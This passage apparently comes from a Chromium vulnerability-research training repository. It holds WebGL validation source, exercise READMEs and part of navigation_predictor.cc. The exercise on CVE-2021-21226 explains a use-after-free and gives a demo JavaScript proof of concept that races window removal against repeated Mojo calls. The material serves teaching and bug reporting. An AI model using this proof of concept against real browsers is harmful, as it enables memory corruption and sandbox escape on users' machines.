required_min_size,\n    GLuint src_offset,\n    size_t src_length) {\n  if (!v) {\n    SynthesizeGLError(GL_INVALID_VALUE, function_name, \"no array\");\n    return false;\n  }\n  if (!base::CheckedNumeric<GLuint>(src_length).IsValid()) {\n    SynthesizeGLError(GL_INVALID_VALUE, function_name,\n                      \"src_length exceeds the maximum supported length\");\n    return false;\n  }\n  return ValidateUniformMatrixParameters(\n      function_name, location, transpose, v->DataMaybeShared(),\n      v->lengthAsSizeT(), required_min_size, src_offset,\n      static_cast<GLuint>(src_length));\n}\n\nbool WebGLRenderingContextBase::ValidateUniformMatrixParameters(\n    const char* function_name,\n    const WebGLUniformLocation* location,\n    GLboolean transpose,\n    void* v,\n    size_t size,\n    GLsizei required_min_size,\n    GLuint src_offset,\n    GLuint src_length) {\n  DCHECK(size >= 0 && required_min_size > 0);\n  if (!location)\n    return false;\n  if (location->Program() != current_program_) {\n    SynthesizeGLError(GL_INVALID_OPERATION, function_name,\n                      \"location is not from current program\");\n    return false;\n  }\n  if (!v) {\n    SynthesizeGLError(GL_INVALID_VALUE, function_name, \"no array\");\n    return false;\n  }\n  if (!base::CheckedNumeric<GLsizei>(size).IsValid()) {\n    SynthesizeGLError(GL_INVALID_VALUE, function_name,\n                      \"array exceeds the maximum supported size\");\n    return false;\n  }\n  if (transpose && !IsWebGL2OrHigher()) {\n    SynthesizeGLError(GL_INVALID_VALUE, function_name, \"transpose not FALSE\");\n    return false;\n  }\n  if (src_offset >= static_cast<GLuint>(size)) {\n    SynthesizeGLError(GL_INVALID_VALUE, function_name, \"invalid srcOffset\");\n    return false;\n  }\n  GLsizei actual_size = static_cast<GLsizei>(size) - src_offset;\n  if (src_length > 0) {\n    if (src_length > static_cast<GLuint>(actual_size)) {\n      SynthesizeGLError(GL_INVALID_VALUE, function_name,\n                        \"invalid srcOffset + srcLength\");\n      return false;\n    }\n    actual_size = src_length;\n  }\n  if (actual_size < required_min_size || (actual_size % required_min_size)) {\n    SynthesizeGLError(GL_INVALID_VALUE, function_name, \"invalid size\");\n    return false;\n  }\n  return true;\n}\n\nWebGLBuffer* WebGLRenderingContextBase::ValidateBufferDataTarget(\n    const char* function_name,\n    GLenum target) {\n  WebGLBuffer* buffer = nullptr;\n  switch (target) {\n    case GL_ELEMENT_ARRAY_BUFFER:\n      buffer = bound_vertex_array_object_->BoundElementArrayBuffer();\n      break;\n    case GL_ARRAY_BUFFER:\n      buffer = bound_array_buffer_.Get();\n      break;\n    default:\n      SynthesizeGLError(GL_INVALID_ENUM, function_name, \"invalid target\");\n      return nullptr;\n  }\n  if (!buffer) {\n    SynthesizeGLError(GL_INVALID_OPERATION, function_name, \"no buffer\");\n    return nullptr;\n  }\n  return buffer;\n}\n\nbool WebGLRenderingContextBase::ValidateBufferDataUsage(\n    const char* function_name,\n    GLenum usage) {\n  switch (usage) {\n    case GL_STREAM_DRAW:\n    case GL_STATIC_DRAW:\n    case GL_DYNAMIC_DRAW:\n      return true;\n    default:\n      SynthesizeGLError(GL_INVALID_ENUM, function_name, \"invalid usage\");\n      return false;\n  }\n}\n\nvoid WebGLRenderingContextBase::RemoveBoundBuffer(WebGLBuffer* buffer) {\n  if (bound_array_buffer_ == buffer)\n    bound_array_buffer_ = nullptr;\n\n  bound_vertex_array_object_->UnbindBuffer(buffer);\n}\n\nbool WebGLRenderingContextBase::ValidateHTMLImageElement(\n    const SecurityOrigin* security_origin,\n    const char* function_name,\n    HTMLImageElement* image,\n    ExceptionState& exception_state) {\n  if (!image || !image->CachedImage()) {\n    SynthesizeGLError(GL_INVALID_VALUE, function_name, \"no image\");\n    return false;\n  }\n  const KURL& url = image->CachedImage()->GetResponse().CurrentRequestUrl();\n  if (url.IsNull() || url.IsEmpty() || !url.IsValid()) {\n    SynthesizeGLError(GL_INVALID_VALUE, function_name, \"invalid image\");\n    return false;\n  }\n\n  if (WouldTaintOrigin(image)) {\n    exception_state.ThrowSecurityError(\n        \"The image element contains cross-origin data, and may not be loaded.\");\n    return false;\n  }\n  return true;\n}\n\nbool WebGLRenderingContextBase::ValidateCanvasRenderingContextHost(\n    const SecurityOrigin* security_origin,\n    const char* function_name,\n    CanvasRenderingContextHost* context_host,\n    ExceptionState& exception_state) {\n  if (!context_host || !context_host->IsPaintable()) {\n    SynthesizeGLError(GL_INVALID_VALUE, function_name, \"no canvas\");\n    return false;\n  }\n\n  if (WouldTaintOrigin(context_host)) {\n    exception_state.ThrowSecurityError(\"Tainted canvases may not be loaded.\");\n    return false;\n  }\n  return true;\n}\n\nbool WebGLRenderingContextBase::ValidateHTMLVideoElement(\n    const SecurityOrigin* security_origin,\n    const char* function_name,\n    HTMLVideoElement* video,\n    ExceptionState& exception_state) {\n  if (!video || !video->videoWidth() || !video->videoHeight()) {\n    SynthesizeGLError(GL_INVALID_VALUE, function_name, \"no video\");\n    return false;\n  }\n\n  if (WouldTaintOrigin(video)) {\n    exception_state.ThrowSecurityError(\n        \"The video element contains cross-origin data, and may not be loaded.\");\n    return false;\n  }\n  return true;\n}\n\nbool WebGLRenderingContextBase::ValidateImageBitmap(\n    const char* function_name,\n    ImageBitmap* bitmap,\n    ExceptionState& exception_state) {\n  if (bitmap->IsNeutered()) {\n    SynthesizeGLError(GL_INVALID_VALUE, function_name,\n                      \"The source data has been detached.\");\n    return false;\n  }\n  if (!bitmap->OriginClean()) {\n    exception_state.ThrowSecurityError(\n        \"The ImageBitmap contains cross-origin data, and may not be loaded.\");\n    return false;\n  }\n  return true;\n}\n\nbool WebGLRenderingContextBase::ValidateDrawArrays(const char* function_name) {\n  if (isContextLost())\n    return false;\n\n  if (!ValidateRenderingState(function_name)) {\n    return false;\n  }\n\n  const char* reason = \"framebuffer incomplete\";\n  if (framebuffer_binding_ && framebuffer_binding_->CheckDepthStencilStatus(\n                                  &reason) != GL_FRAMEBUFFER_COMPLETE) {\n    SynthesizeGLError(GL_INVALID_FRAMEBUFFER_OPERATION, function_name, reason);\n    return false;\n  }\n\n  return true;\n}\n\nbool WebGLRenderingContextBase::ValidateDrawElements(const char* function_name,\n                                                     GLenum type,\n                                                     int64_t offset) {\n  if (isContextLost())\n    return false;\n\n  if (type == GL_UNSIGNED_INT && !IsWebGL2OrHigher() &&\n      !ExtensionEnabled(kOESElementIndexUintName)) {\n    SynthesizeGLError(GL_INVALID_ENUM, function_name, \"invalid type\");\n    return false;\n  }\n\n  if (!ValidateValueFitNonNegInt32(function_name, \"offset\", offset))\n    return false;\n\n  if (!ValidateRenderingState(function_name)) {\n    return false;\n  }\n\n  const char* reason = \"framebuffer incomplete\";\n  if (framebuffer_binding_ && framebuffer_binding_->CheckDepthStencilStatus(\n                                  &reason) != GL_FRAMEBUFFER_COMPLETE) {\n    SynthesizeGLError(GL_INVALID_FRAMEBUFFER_OPERATION, function_name, reason);\n    return false;\n  }\n\n  return true;\n}\n\nvoid WebGLRenderingContextBase::OnBeforeDrawCall() {\n  ClearIfComposited();\n  MarkContextChanged(kCanvasChanged);\n}\n\nvoid WebGLRenderingContextBase::DispatchContextLostEvent(TimerBase*) {\n  WebGLContextEvent* event =\n      WebGLContextEvent::Create(event_type_names::kWebglcontextlost, \"\");\n  Host()->HostDispatchEvent(event);\n  restore_allowed_ = event->defaultPrevented();\n  if (restore_allowed_ && !is_hidden_) {\n    if (auto_recovery_method_ == kAuto)\n      restore_timer_.StartOneShot(base::TimeDelta(), FROM_HERE);\n  }\n}\n\nvoid WebGLRenderingContextBase::MaybeRestoreContext(TimerBase*) {\n  DCHECK(isContextLost());\n\n  // The rendering context is not restored unless the default behavior of the\n  // webglcontextlost event was prevented earlier.\n  //\n  // Because of the way m_restoreTimer is set up for real vs. synthetic lost\n  // context events, we don't have to worry about this test short-circuiting\n  // the retry loop for real context lost events.\n  if (!restore_allowed_)\n    return;\n\n  if (canvas()) {\n    LocalFrame* frame = canvas()->GetDocument().GetFrame();\n    if (!frame)\n      return;\n\n    bool blocked;\n    frame->GetLocalFrameHostRemote().Are3DAPIsBlocked(&blocked);\n    if (blocked)\n      return;\n\n    Settings* settings = frame->GetSettings();\n    if (settings && ((context_type_ == Platform::kWebGL1ContextType &&\n                      !settings->GetWebGL1Enabled()) ||\n                     ((context_type_ == Platform::kWebGL2ContextType ||\n                       context_type_ == Platform::kWebGL2ComputeContextType) &&\n                      !settings->GetWebGL2Enabled()))) {\n      return;\n    }\n  }\n\n  // Drawing buffer should have aready been destroyed during context loss to\n  // ensure its resources were freed.\n  DCHECK(!GetDrawingBuffer());\n\n  auto* execution_context = Host()->GetTopExecutionContext();\n  Platform::ContextAttributes attributes = ToPlatformContextAttributes(\n      CreationAttributes(), context_type_,\n      SupportOwnOffscreenSurface(execution_context));\n  Platform::GraphicsInfo gl_info;\n  std::unique_ptr<WebGraphicsContext3DProvider> context_provider;\n  bool using_gpu_compositing;\n  const auto& url = Host()->GetExecutionContextUrl();\n\n  if (IsMainThread()) {\n    // Ask for gpu compositing mode when making the context. The context will be\n    // lost if the mode changes.\n    using_gpu_compositing = !Platform::Current()->IsGpuCompositingDisabled();\n    context_provider =\n        Platform::Current()->CreateOffscreenGraphicsContext3DProvider(\n            attributes, url, &gl_info);\n  } else {\n    context_provider = CreateContextProviderOnWorkerThread(\n        attributes, &gl_info, &using_gpu_compositing, url);\n  }\n  scoped_refptr<DrawingBuffer> buffer;\n  if (context_provider && context_provider->BindToCurrentThread()) {\n    // Construct a new drawing buffer with the new GL context.\n    buffer =\n        CreateDrawingBuffer(std::move(context_provider), using_gpu_compositing);\n    // If DrawingBuffer::create() fails to allocate a fbo, |drawingBuffer| is\n    // set to null.\n  }\n  if (!buffer) {\n    if (context_lost_mode_ == kRealLostContext) {\n      restore_timer_.StartOneShot(kDurationBetweenRestoreAttempts, FROM_HERE);\n    } else {\n      // This likely shouldn't happen but is the best way to report it to the\n      // WebGL app.\n      SynthesizeGLError(GL_INVALID_OPERATION, \"\", \"error restoring context\");\n    }\n    return;\n  }\n\n  drawing_buffer_ = std::move(buffer);\n  GetDrawingBuffer()->Bind(GL_FRAMEBUFFER);\n  lost_context_errors_.clear();\n  context_lost_mode_ = kNotLostContext;\n  auto_recovery_method_ = kManual;\n  restore_allowed_ = false;\n  RemoveFromEvictedList(this);\n\n  SetupFlags();\n  InitializeNewContext();\n  MarkContextChanged(kCanvasContextChanged);\n  WebGLContextEvent* event =\n      WebGLContextEvent::Create(event_type_names::kWebglcontextrestored, \"\");\n  Host()->HostDispatchEvent(event);\n}\n\nString WebGLRenderingContextBase::EnsureNotNull(const String& text) const {\n  if (text.IsNull())\n    return WTF::g_empty_string;\n  return text;\n}\n\nWebGLRenderingContextBase::LRUCanvasResourceProviderCache::\n    LRUCanvasResourceProviderCache(wtf_size_t capacity)\n    : resource_providers_(capacity) {}\n\nCanvasResourceProvider* WebGLRenderingContextBase::\n    LRUCanvasResourceProviderCache::GetCanvasResourceProvider(\n        const IntSize& size) {\n  wtf_size_t i;\n  for (i = 0; i < resource_providers_.size(); ++i) {\n    CanvasResourceProvider* resource_provider = resource_providers_[i].get();\n    if (!resource_provider)\n      break;\n    if (resource_provider->Size() != size)\n      continue;\n    BubbleToFront(i);\n    return resource_provider;\n  }\n\n  // TODO(fserb): why is this software?\n  std::unique_ptr<CanvasResourceProvider> temp(CanvasResourceProvider::Create(\n      size, CanvasResourceProvider::ResourceUsage::kSoftwareResourceUsage,\n      nullptr,  // context_provider_wrapper\n      0,        // msaa_sample_count,\n      kLow_SkFilterQuality,\n      CanvasColorParams(),  // TODO: should this use the canvas's colorspace?\n      CanvasResourceProvider::kDefaultPresentationMode,\n      nullptr));  // canvas_resource_dispatcher\n  if (!temp)\n    return nullptr;\n  i = std::min(resource_providers_.size() - 1, i);\n  resource_providers_[i] = std::move(temp);\n\n  CanvasResourceProvider* resource_provider = resource_providers_[i].get();\n  BubbleToFront(i);\n  return resource_provider;\n}\n\nvoid WebGLRenderingContextBase::LRUCanvasResourceProviderCache::BubbleToFront(\n    wtf_size_t idx) {\n  for (wtf_size_t i = idx; i > 0; --i)\n    resource_providers_[i].swap(resource_providers_[i - 1]);\n}\n\nnamespace {\n\nString GetErrorString(GLenum error) {\n  switch (error) {\n    case GL_INVALID_ENUM:\n      return \"INVALID_ENUM\";\n    case GL_INVALID_VALUE:\n      return \"INVALID_VALUE\";\n    case GL_INVALID_OPERATION:\n      return \"INVALID_OPERATION\";\n    case GL_OUT_OF_MEMORY:\n      return \"OUT_OF_MEMORY\";\n    case GL_INVALID_FRAMEBUFFER_OPERATION:\n      return \"INVALID_FRAMEBUFFER_OPERATION\";\n    case GC3D_CONTEXT_LOST_WEBGL:\n      return \"CONTEXT_LOST_WEBGL\";\n    default:\n      return String::Format(\"WebGL ERROR(0x%04X)\", error);\n  }\n}\n\n}  // namespace\n\nvoid WebGLRenderingContextBase::SynthesizeGLError(\n    GLenum error,\n    const char* function_name,\n    const char* description,\n    ConsoleDisplayPreference display) {\n  String error_type = GetErrorString(error);\n  if (synthesized_errors_to_console_ && display == kDisplayInConsole) {\n    String message = String(\"WebGL: \") + error_type + \": \" +\n                     String(function_name) + \": \" + String(description);\n    PrintGLErrorToConsole(message);\n  }\n  if (!isContextLost()) {\n    if (!synthetic_errors_.Contains(error))\n      synthetic_errors_.push_back(error);\n  } else {\n    if (!lost_context_errors_.Contains(error))\n      lost_context_errors_.push_back(error);\n  }\n  probe::DidFireWebGLError(canvas(), error_type);\n}\n\nvoid WebGLRenderingContextBase::EmitGLWarning(const char* function_name,\n                                              const char* description) {\n  if (synthesized_errors_to_console_) {\n    String message =\n        String(\"WebGL: \") + String(function_name) + \": \" + String(description);\n    PrintGLErrorToConsole(message);\n  }\n  probe::DidFireWebGLWarning(canvas());\n}\n\nvoid WebGLRenderingContextBase::ApplyStencilTest() {\n  bool have_stencil_buffer = false;\n\n  if (framebuffer_binding_) {\n    have_stencil_buffer = framebuffer_binding_->HasStencilBuffer();\n  } else {\n    WebGLContextAttributes* attributes = getContextAttributes();\n    have_stencil_buffer = attributes && attributes->stencil();\n  }\n  EnableOrDisable(GL_STENCIL_TEST, stencil_enabled_ && have_stencil_buffer);\n}\n\nvoid WebGLRenderingContextBase::EnableOrDisable(GLenum capability,\n                                                bool enable) {\n  if (isContextLost())\n    return;\n  if (enable)\n    ContextGL()->Enable(capability);\n  else\n    ContextGL()->Disable(capability);\n}\n\nIntSize WebGLRenderingContextBase::ClampedCanvasSize() const {\n  int width = Host()->Size().Width();\n  int height = Host()->Size().Height();\n  return IntSize(Clamp(width, 1, max_viewport_dims_[0]),\n                 Clamp(height, 1, max_viewport_dims_[1]));\n}\n\nGLint WebGLRenderingContextBase::MaxDrawBuffers() {\n  if (isContextLost() ||\n      !(ExtensionEnabled(kWebGLDrawBuffersName) || IsWebGL2OrHigher()))\n    return 0;\n  if (!max_draw_buffers_)\n    ContextGL()->GetIntegerv(GL_MAX_DRAW_BUFFERS_EXT, &max_draw_buffers_);\n  if (!max_color_attachments_)\n    ContextGL()->GetIntegerv(GL_MAX_COLOR_ATTACHMENTS_EXT,\n                             &max_color_attachments_);\n  // WEBGL_draw_buffers requires MAX_COLOR_ATTACHMENTS >= MAX_DRAW_BUFFERS.\n  return std::min(max_draw_buffers_, max_color_attachments_);\n}\n\nGLint WebGLRenderingContextBase::MaxColorAttachments() {\n  if (isContextLost() ||\n      !(ExtensionEnabled(kWebGLDrawBuffersName) || IsWebGL2OrHigher()))\n    return 0;\n  if (!max_color_attachments_)\n    ContextGL()->GetIntegerv(GL_MAX_COLOR_ATTACHMENTS_EXT,\n                             &max_color_attachments_);\n  return max_color_attachments_;\n}\n\nvoid WebGLRenderingContextBase::SetBackDrawBuffer(GLenum buf) {\n  back_draw_buffer_ = buf;\n}\n\nvoid WebGLRenderingContextBase::SetFramebuffer(GLenum target,\n                                               WebGLFramebuffer* buffer) {\n  if (buffer)\n    buffer->SetHasEverBeenBound();\n\n  if (target == GL_FRAMEBUFFER || target == GL_DRAW_FRAMEBUFFER) {\n    framebuffer_binding_ = buffer;\n    ApplyStencilTest();\n  }\n  if (!buffer) {\n    // Instead of binding fb 0, bind the drawing buffer.\n    GetDrawingBuffer()->Bind(target);\n  } else {\n    ContextGL()->BindFramebuffer(target, buffer->Object());\n  }\n}\n\nvoid WebGLRenderingContextBase::RestoreCurrentFramebuffer() {\n  bindFramebuffer(GL_FRAMEBUFFER, framebuffer_binding_.Get());\n}\n\nvoid WebGLRenderingContextBase::RestoreCurrentTexture2D() {\n  bindTexture(GL_TEXTURE_2D,\n              texture_units_[active_texture_unit_].texture2d_binding_.Get());\n}\n\nvoid WebGLRenderingContextBase::FindNewMaxNonDefaultTextureUnit() {\n  // Trace backwards from the current max to find the new max non-default\n  // texture unit\n  int start_index = one_plus_max_non_default_texture_unit_ - 1;\n  for (int i = start_index; i >= 0; --i) {\n    if (texture_units_[i].texture2d_binding_ ||\n        texture_units_[i].texture_cube_map_binding_) {\n      one_plus_max_non_default_texture_unit_ = i + 1;\n      return;\n    }\n  }\n  one_plus_max_non_default_texture_unit_ = 0;\n}\n\nvoid WebGLRenderingContextBase::TextureUnitState::Trace(\n    blink::Visitor* visitor) {\n  visitor->Trace(texture2d_binding_);\n  visitor->Trace(texture_cube_map_binding_);\n  visitor->Trace(texture3d_binding_);\n  visitor->Trace(texture2d_array_binding_);\n  visitor->Trace(texture_video_image_binding_);\n}\n\nvoid WebGLRenderingContextBase::Trace(Visitor* visitor) {\n  visitor->Trace(context_group_);\n  visitor->Trace(bound_array_buffer_);\n  visitor->Trace(default_vertex_array_object_);\n  visitor->Trace(bound_vertex_array_object_);\n  visitor->Trace(current_program_);\n  visitor->Trace(framebuffer_binding_);\n  visitor->Trace(renderbuffer_binding_);\n  visitor->Trace(texture_units_);\n  visitor->Trace(extensions_);\n  CanvasRenderingContext::Trace(visitor);\n}\n\nint WebGLRenderingContextBase::ExternallyAllocatedBufferCountPerPixel() {\n  if (isContextLost())\n    return 0;\n\n  int buffer_count = 1;\n  buffer_count *= 2;  // WebGL's front and back color buffers.\n  int samples = GetDrawingBuffer() ? GetDrawingBuffer()->SampleCount() : 0;\n  WebGLContextAttributes* attribs = getContextAttributes();\n  if (attribs) {\n    // Handle memory from WebGL multisample and depth/stencil buffers.\n    // It is enabled only in case of explicit resolve assuming that there\n    // is no memory overhead for MSAA on tile-based GPU arch.\n    if (attribs->antialias() && samples > 0 &&\n        GetDrawingBuffer()->ExplicitResolveOfMultisampleData()) {\n      if (attribs->depth() || attribs->stencil())\n        buffer_count += samples;  // depth/stencil multisample buffer\n      buffer_count += samples;    // color multisample buffer\n    } else if (attribs->depth() || attribs->stencil()) {\n      buffer_count += 1;  // regular depth/stencil buffer\n    }\n  }\n\n  return buffer_count;\n}\n\nDrawingBuffer* WebGLRenderingContextBase::GetDrawingBuffer() const {\n  return drawing_buffer_.get();\n}\n\nvoid WebGLRenderingContextBase::ResetUnpackParameters() {\n  if (unpack_alignment_ != 1)\n    ContextGL()->PixelStorei(GL_UNPACK_ALIGNMENT, 1);\n}\n\nvoid WebGLRenderingContextBase::RestoreUnpackParameters() {\n  if (unpack_alignment_ != 1)\n    ContextGL()->PixelStorei(GL_UNPACK_ALIGNMENT, unpack_alignment_);\n}\n\nvoid WebGLRenderingContextBase::getHTMLOrOffscreenCanvas(\n    HTMLCanvasElementOrOffscreenCanvas& result) const {\n  if (canvas()) {\n    result.SetHTMLCanvasElement(static_cast<HTMLCanvasElement*>(Host()));\n  } else {\n    result.SetOffscreenCanvas(static_cast<OffscreenCanvas*>(Host()));\n  }\n}\n\nvoid WebGLRenderingContextBase::addProgramCompletionQuery(WebGLProgram* program,\n                                                          GLuint query) {\n  auto old_query = program_completion_queries_.Get(program);\n  if (old_query != program_completion_queries_.end()) {\n    ContextGL()->DeleteQueriesEXT(1, &old_query->second);\n  }\n  program_completion_queries_.Put(program, query);\n  if (program_completion_queries_.size() > kMaxProgramCompletionQueries) {\n    auto oldest = program_completion_queries_.rbegin();\n    ContextGL()->DeleteQueriesEXT(1, &oldest->second);\n    program_completion_queries_.Erase(oldest);\n  }\n}\n\nvoid WebGLRenderingContextBase::clearProgramCompletionQueries() {\n  for (auto query : program_completion_queries_) {\n    ContextGL()->DeleteQueriesEXT(1, &query.second);\n  }\n  program_completion_queries_.Clear();\n}\n\nbool WebGLRenderingContextBase::checkProgramCompletionQueryAvailable(\n    WebGLProgram* program,\n    bool* completed) {\n  GLuint id = 0;\n  auto found = program_completion_queries_.Get(program);\n  if (found != program_completion_queries_.end()) {\n    id = found->second;\n    GLuint available;\n    ContextGL()->GetQueryObjectuivEXT(id, GL_QUERY_RESULT_AVAILABLE,\n                                      &available);\n    if (available) {\n      GLuint result = 0u;\n      ContextGL()->GetQueryObjectuivEXT(id, GL_QUERY_RESULT, &result);\n      program->setLinkStatus(result);\n    }\n    *completed = (available == GL_TRUE);\n    return true;\n  }\n  return false;\n}\n}  // namespace blink\n"
  },
  {
    "path": "LEVEL_3/README.md",
    "content": "# LEVEL 3\n\nIn LEVEL 1 | 2, we do exercise for bug hunting, but we seem forget the Poc.\n\nWe need Poc to prove that we find one truly bug, and help developer repair this bug.\n\nThis time, we need construct Poc(important) and find the bug. "
  },
  {
    "path": "LEVEL_3/exercise_1/README.md",
    "content": "# Exercise 1\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene.\n\nLEVEL 2 we do the same as LEVEL 1 without the help of Details.\n\nBut the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves.\n\n## CVE-2021-21226\nI sugget you don't search any report about it to prevents get too much info like patch.\n\n\n\n### Details\n\nIn level 3, we do it without the help of Details\n\n\n---------\n\n<details>\n  <summary>For more info click me! But you'd better not do this</summary>\n\n  https://bugs.chromium.org/p/chromium/issues/detail?id=1197904\n\n</details>\n\n--------\n\n### Set environment\n\nafter you fetch chromium\n```sh\ngit reset --hard f65d388c65bafd029be64609eb5e29243376f8ed\n```\n\n\n### Related code\nchrome/browser/navigation_predictor/navigation_predictor.cc\n\n\n### Do it\nDo this exercise by yourself, If you find my answer have something wrong, please correct it.\n\n\n---------\n\n<details>\n  <summary>My answer</summary>\n\n  ```c++\n  // It is possible for this class to still exist while its WebContents and\n  // RenderFrameHost are being destroyed. This can be detected by checking\n  // |web_contents()| which will be nullptr if the WebContents has been\n  // destroyed.\n  ```\n  By this comment, we can get if we need do some by `browser_context_` we need check whether web_contents_ alive to provent UAF.\n\n  ```c++\n  // This class gathers metrics of anchor elements from both renderer process\n// and browser process. Then it uses these metrics to make predictions on what\n// are the most likely anchor elements that the user will click.\nclass NavigationPredictor : public blink::mojom::AnchorElementMetricsHost,\n                            public content::WebContentsObserver,\n                            public prerender::NoStatePrefetchHandle::Observer {\n public:\n  explicit NavigationPredictor(content::WebContents* web_contents);\n  ~NavigationPredictor() override;\n  // [ ... ]\n   private:\n  // Used to get keyed services.\n  content::BrowserContext* const browser_context_;   // raw ptr\n  ```\n  > Previously, it was possible for the BrowserContext to be destroyed\n  before ReportAnchorElementMetricsOnClick attempted to access it.\n  > \n  > The fix uses the fact that NavigationPredictor extends\n  WebContentsObserver and checks that web_contents is still alive\n  before dereferencing BrowserContext. WebContents will always\n  outlive BrowserContext.\n\n  **Poc**\n  Because this cve is about mojo and can make sandbox escape, so we need some knowledge about how bind mojo interface. You can read [offical doc](https://chromium.googlesource.com/chromium/src/+/HEAD/mojo/public/js/README.md#interfaces) or other chrome ctf challenge wp(recommend)\n\n  We just need call `ReportAnchorElementMetricsOnClick` after remove window by race.\n  ```c++\nvoid NavigationPredictor::ReportAnchorElementMetricsOnClick(\n    blink::mojom::AnchorElementMetricsPtr metrics) {\n  DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n  DCHECK(base::FeatureList::IsEnabled(blink::features::kNavigationPredictor));\n\n  if (browser_context_->IsOffTheRecord())        [1]\n    return;\n\n  if (!IsValidMetricFromRenderer(*metrics)) {\n    mojo::ReportBadMessage(\"Bad anchor element metrics: onClick.\");\n    return;\n  }\n[ ... ]\n  ```\n  [1] has no check whether the `browser_context_` has been freed, so we can remove the window then call `ReportAnchorElementMetricsOnClick` to trigger uaf.\n\n  The following code is just a demo, you can get complete code [here](https://bugs.chromium.org/p/chromium/issues/detail?id=1197904)\n  ```js\nasync function poc() {\n  // call ReportAnchorElementMetricsOnClick for mulipy\n\tlet win1 = await createWindow({url: \"https://localhost:8080/child.html\", incognito: true});\n  \n  // remove the window\n\tsetTimeout(function() {\n\t\tremoveWindow(win1.id);\n\t}, 1200);\n}\n\n// in child.html\nasync function posttask() {\n    const MAX = 65536;\n    for(var i = 0 ; i < MAX; i++){\n      // call ReportAnchorElementMetricsOnClick to trigger uaf\n        anchor_ptr.reportAnchorElementMetricsOnClick(anchor_elements);\n    }\n}\n\nsetTimeout(function() {\n    posttask();\n}, 1000);\n  ```\n\n  we trigger race by `setTimeout`\n\n\n</details>\n\n--------\n"
  },
  {
    "path": "LEVEL_3/exercise_1/navigation_predictor.cc",
    "content": "// Copyright 2018 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#include \"chrome/browser/navigation_predictor/navigation_predictor.h\"\n\n#include <algorithm>\n#include <memory>\n\n#include \"base/check_op.h\"\n#include \"base/containers/contains.h\"\n#include \"base/metrics/field_trial_params.h\"\n#include \"base/metrics/histogram_functions.h\"\n#include \"base/metrics/histogram_macros.h\"\n#include \"base/optional.h\"\n#include \"base/rand_util.h\"\n#include \"base/system/sys_info.h\"\n#include \"chrome/browser/navigation_predictor/navigation_predictor_keyed_service.h\"\n#include \"chrome/browser/navigation_predictor/navigation_predictor_keyed_service_factory.h\"\n#include \"chrome/browser/prefetch/no_state_prefetch/no_state_prefetch_manager_factory.h\"\n#include \"chrome/browser/profiles/profile.h\"\n#include \"chrome/browser/search_engines/template_url_service_factory.h\"\n#include \"components/no_state_prefetch/browser/no_state_prefetch_manager.h\"\n#include \"components/search_engines/template_url_service.h\"\n#include \"content/public/browser/navigation_handle.h\"\n#include \"content/public/browser/site_instance.h\"\n#include \"content/public/browser/web_contents.h\"\n#include \"mojo/public/cpp/bindings/message.h\"\n#include \"mojo/public/cpp/bindings/self_owned_receiver.h\"\n#include \"services/metrics/public/cpp/metrics_utils.h\"\n#include \"services/metrics/public/cpp/ukm_builders.h\"\n#include \"services/metrics/public/cpp/ukm_recorder.h\"\n#include \"third_party/blink/public/common/features.h\"\n#include \"url/gurl.h\"\n#include \"url/url_canon.h\"\n\nnamespace {\n\n// A feature to allow multiple prerenders. The feature itself is always enabled,\n// but the params it exposes are variable.\nconst base::Feature kNavigationPredictorMultiplePrerenders{\n    \"NavigationPredictorMultiplePrerenders\", base::FEATURE_ENABLED_BY_DEFAULT};\n\nstd::string GetURLWithoutRefParams(const GURL& gurl) {\n  url::Replacements<char> replacements;\n  replacements.ClearRef();\n  return gurl.ReplaceComponents(replacements).spec();\n}\n\n// Returns true if |a| and |b| are both valid HTTP/HTTPS URLs and have the\n// same scheme, host, path and query params. This method does not take into\n// account the ref params of the two URLs.\nbool AreGURLsEqualExcludingRefParams(const GURL& a, const GURL& b) {\n  return GetURLWithoutRefParams(a) == GetURLWithoutRefParams(b);\n}\n}  // namespace\n\nstruct NavigationPredictor::NavigationScore {\n  NavigationScore(const GURL& url,\n                  double ratio_area,\n                  bool is_url_incremented_by_one,\n                  size_t area_rank,\n                  double score,\n                  double ratio_distance_root_top,\n                  bool contains_image,\n                  bool is_in_iframe,\n                  size_t index)\n      : url(url),\n        ratio_area(ratio_area),\n        is_url_incremented_by_one(is_url_incremented_by_one),\n        area_rank(area_rank),\n        score(score),\n        ratio_distance_root_top(ratio_distance_root_top),\n        contains_image(contains_image),\n        is_in_iframe(is_in_iframe),\n        index(index) {}\n  // URL of the target link.\n  const GURL url;\n\n  // The ratio between the absolute clickable region of an anchor element and\n  // the document area. This should be in the range [0, 1].\n  const double ratio_area;\n\n  // Whether the url increments the current page's url by 1.\n  const bool is_url_incremented_by_one;\n\n  // Rank in terms of anchor element area. It starts at 0, a lower rank implies\n  // a larger area. Capped at 100.\n  const size_t area_rank;\n\n  // Calculated navigation score, based on |area_rank| and other metrics.\n  double score;\n\n  // The distance from the top of the document to the anchor element, expressed\n  // as a ratio with the length of the document.\n  const double ratio_distance_root_top;\n\n  // Multiple anchor elements may point to the same |url|. |contains_image| is\n  // true if at least one of the anchor elements pointing to |url| contains an\n  // image.\n  const bool contains_image;\n\n  // |is_in_iframe| is true if at least one of the anchor elements point to\n  // |url| is in an iframe.\n  const bool is_in_iframe;\n\n  // An index reported to UKM.\n  const size_t index;\n\n  // Rank of the |score| in this document. It starts at 0, a lower rank implies\n  // a higher |score|.\n  base::Optional<size_t> score_rank;\n};\n\nNavigationPredictor::NavigationPredictor(content::WebContents* web_contents)\n    : browser_context_(web_contents->GetBrowserContext()),\n      ratio_area_scale_(base::GetFieldTrialParamByFeatureAsInt(\n          blink::features::kNavigationPredictor,\n          \"ratio_area_scale\",\n          100)),\n      is_in_iframe_scale_(base::GetFieldTrialParamByFeatureAsInt(\n          blink::features::kNavigationPredictor,\n          \"is_in_iframe_scale\",\n          0)),\n      is_same_host_scale_(base::GetFieldTrialParamByFeatureAsInt(\n          blink::features::kNavigationPredictor,\n          \"is_same_host_scale\",\n          0)),\n      contains_image_scale_(base::GetFieldTrialParamByFeatureAsInt(\n          blink::features::kNavigationPredictor,\n          \"contains_image_scale\",\n          50)),\n      is_url_incremented_scale_(base::GetFieldTrialParamByFeatureAsInt(\n          blink::features::kNavigationPredictor,\n          \"is_url_incremented_scale\",\n          100)),\n      